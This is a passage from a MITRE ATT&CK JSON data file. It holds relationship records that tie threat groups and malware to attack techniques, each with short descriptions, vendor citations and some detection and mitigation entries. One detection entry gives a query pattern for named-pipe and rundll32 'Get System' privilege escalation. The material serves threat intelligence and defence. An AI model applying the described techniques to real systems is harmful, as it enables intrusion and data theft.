Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}], "modified": "2020-03-30T01:06:25.111Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1cadb8d8-d569-4d02-9e0c-f20d71e37cda", "created": "2022-10-13T14:16:00.838Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T14:16:00.838Z", "description": "[PcShare](https://attack.mitre.org/software/S1050) has used HTTP for C2 communication.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "tool--3a53b207-aba2-4a2b-9cdb-273d633669e7", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cb54b2e-5f2d-4d1b-9fda-9b17f49de65b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. 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(2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}], "modified": "2019-04-22T22:31:38.444Z", "description": "[PowerDuke](https://attack.mitre.org/software/S0139) uses rundll32.exe to load.(Citation: Volexity PowerDuke November 2016)", "relationship_type": "uses", "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cc1c2b0-5fb8-420e-8285-db4616a9fab2", "type": "relationship", "created": "2021-02-08T23:18:31.759Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-02-08T23:18:31.759Z", "description": "[BitPaymer](https://attack.mitre.org/software/S0570) compares file names and paths to a list of excluded names and directory names during encryption.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cc625dd-3079-4aa5-99f5-db1897795500", "type": "relationship", "created": "2020-05-06T17:47:43.687Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert TSCookie March 2018", "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", "description": "Tomonaga, S. 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The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-12-22T21:05:27.577Z", "description": "[Javali](https://attack.mitre.org/software/S0528) can use DLL side-loading to load malicious DLLs into legitimate executables.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--64122557-5940-4271-9123-25bfc0c693db", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cd3a9af-420f-45b6-a8b1-246332b1c49d", "type": "relationship", "created": "2020-10-19T23:54:29.923Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco Securing SNMP", "url": "https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/20370-snmpsecurity-20370.html", "description": "Cisco. (2006, May 10). Securing Simple Network Management Protocol. Retrieved October 19, 2020."}], "modified": "2020-10-22T01:54:23.158Z", "description": "Allowlist MIB objects and implement SNMP views.(Citation: Cisco Securing SNMP)", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cd41777-3d65-4e39-8de7-3951d1568c16", "type": "relationship", "created": "2020-05-19T17:32:26.498Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}], "modified": "2020-05-20T13:38:07.117Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has been executed through malicious e-mail attachments (Citation: Bitdefender Agent Tesla April 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ProjectSauron Full Report", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}], "modified": "2020-03-16T18:05:27.875Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.(Citation: Kaspersky ProjectSauron Full Report)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ce61b6a-b1fd-4e21-874a-774a1487fa12", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"}], "modified": "2019-03-22T20:21:57.824Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used Registry keys to detect and avoid executing in potential sandboxes.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cf34ba1-c2e4-4277-86fc-b511ae416a0e", "type": "relationship", "created": "2022-02-01T13:01:04.149Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "modified": "2022-02-03T21:03:52.498Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) used SSH and the PuTTy PSCP utility to gain access to a restricted segment of a compromised network.(Citation: Kaspersky ThreatNeedle Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cf57140-fe45-4c26-8946-071252ae8276", "type": "relationship", "created": "2019-03-04T17:12:37.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Linux Rabbit 2018", "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}], "modified": "2020-03-11T18:48:12.899Z", "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) brute forces SSH passwords in order to attempt to gain access and install its malware onto the server. (Citation: Anomali Linux Rabbit 2018)", "relationship_type": "uses", "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1cf8df71-e439-43cd-b6cd-c5d971f41dc7", "created": "2022-03-30T14:26:51.873Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor account activity for attempts to create and share data, such as snapshots or backups, with untrusted or unusual accounts.", "modified": "2022-04-14T15:43:26.196Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432", "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1cfb7192-6136-4946-8ee1-498f59125b9b", "created": "2022-07-07T14:42:40.956Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) can use cloud services including OneDrive for data exfiltration.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-07-25T16:15:39.967Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1cfc250f-8944-4310-ad21-1129c32f308a", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:31:47.337Z", "description": "Monitor for newly executed processes that may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Cyber actors frequently escalate to the SYSTEM account after gaining entry to a Windows host, to enable them to carry out various attacks more effectively. Tools such as Meterpreter, Cobalt Strike, and Empire carry out automated steps to \u201cGet System\u201d, which is the same as switching over to the System user account. Most of these tools utilize multiple techniques to try and attain SYSTEM: in the first technique, they create a named pipe and connects an instance of cmd.exe to it, which allows them to impersonate the security context of cmd.exe, which is SYSTEM. In the second technique, a malicious DLL is injected into a process that is running as SYSTEM; the injected DLL steals the SYSTEM token and applies it where necessary to escalate privileges. This analytic looks for both of these techniques.\n\nAnalytic 1 - Get System Elevation\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")(ParentImage=\"C:\\\\Windows\\\\System32\\\\services.exe\" Image=\"C:\\\\Windows\\\\System32\\\\cmd.exe\"  CommandLine=\"*echo*\" CommandLine=\"*\\pipe\\*\") OR (Image=\"C:\\\\Windows\\\\System32\\\\rundll32.exe\" CommandLine=\"*,a /p:*\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cfc2e72-a9ce-4dc2-95ad-fb99c90a2880", "type": "relationship", "created": "2020-12-22T20:20:36.541Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearkSky Fox Kitten February 2020", "url": "https://www.clearskysec.com/fox-kitten/", "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."}, {"source_name": "CrowdStrike PIONEER KITTEN August 2020", "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/", "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."}, {"source_name": "ClearSky Pay2Kitten December 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."}], "modified": "2021-01-04T14:59:30.624Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has exploited known vulnerabilities in remote services including RDP.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: ClearSky Pay2Kitten December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cfc5611-b428-4fce-8b8d-f591523c9d9c", "type": "relationship", "created": "2019-06-18T18:40:33.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", "source_name": "Flashpoint FIN 7 March 2019"}], "modified": "2020-01-29T17:32:00.163Z", "description": "[SQLRat](https://attack.mitre.org/software/S0390) can make a direct SQL connection to a Microsoft database controlled by the attackers, retrieve an item from the bindata table, then write and execute the file on disk.(Citation: Flashpoint FIN 7 March 2019)\t", "relationship_type": "uses", "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1d0af393-5340-4bee-bccc-b1007853276a", "created": "2022-06-09T19:49:49.911Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[OutSteel](https://attack.mitre.org/software/S1017) has been distributed through malicious links contained within spearphishing emails.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:49:49.911Z", "relationship_type": "uses", "source_ref": "malware--c113230f-f044-423b-af63-9b63c802f5ae", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d0b86d9-1658-4b92-b56b-79908f3810f5", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor for API calls associated with altering data. Remote access tools with built-in features may interact directly with the Windows API to gather information.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1d0d0fe6-f16d-4c69-bbaf-1d5423b852fb", "created": "2022-10-13T16:10:52.973Z", "revoked": false, "external_references": [{"source_name": "NCC Group TA505", "description": "Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.", "url": "https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T16:10:52.973Z", "description": "(Citation: NCC Group TA505)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d10247e-d92b-4180-be41-c81b8c8f98b3", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Monitor for newly constructed files from a phishing messages to gain access to victim systems.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d10495f-64e6-43d9-85cd-4d74a8acdf7c", "type": "relationship", "created": "2019-03-07T20:39:58.649Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", "source_name": "TrendMicro Cobalt Group Nov 2017"}], "modified": "2020-03-17T14:37:59.225Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used <code>odbcconf</code> to proxy the execution of malicious DLL files.(Citation: TrendMicro Cobalt Group Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1d11c326-7640-4ddd-b5fe-c8eaf4097c20", "created": "2022-08-22T13:42:04.161Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Google EXOTIC LILY March 2022", "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can send collected data in JSON format to C2.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-22T13:42:04.161Z", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d1525e6-74f2-447d-ba11-9e9c9c552403", "type": "relationship", "created": "2019-06-21T16:28:45.435Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-05T21:40:28.422Z", "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d17e8d5-7a65-4d67-bfec-0ef7cad974d9", "type": "relationship", "created": "2021-03-01T21:23:22.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."}], "modified": "2021-03-01T21:23:22.767Z", "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has exfiltrated collected host information to a C2 server.(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d182249-ed44-4e5b-877c-178760379015", "type": "relationship", "created": "2021-06-30T17:12:54.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-06-30T17:12:54.846Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has used encryption for its C2 channel.(Citation: Cybereason Chaes Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d1a9167-94a9-41bf-b234-5b4bccfa970c", "type": "relationship", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.835Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1d1cc2e5-ef43-4b36-9077-3b173e03d254", "created": "2021-01-04T20:42:22.205Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Industroyer", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", "description": "Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Industroyer](https://attack.mitre.org/software/S0604) uses a custom port scanner to map out a network.(Citation: ESET Industroyer)", "modified": "2022-06-30T20:16:53.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 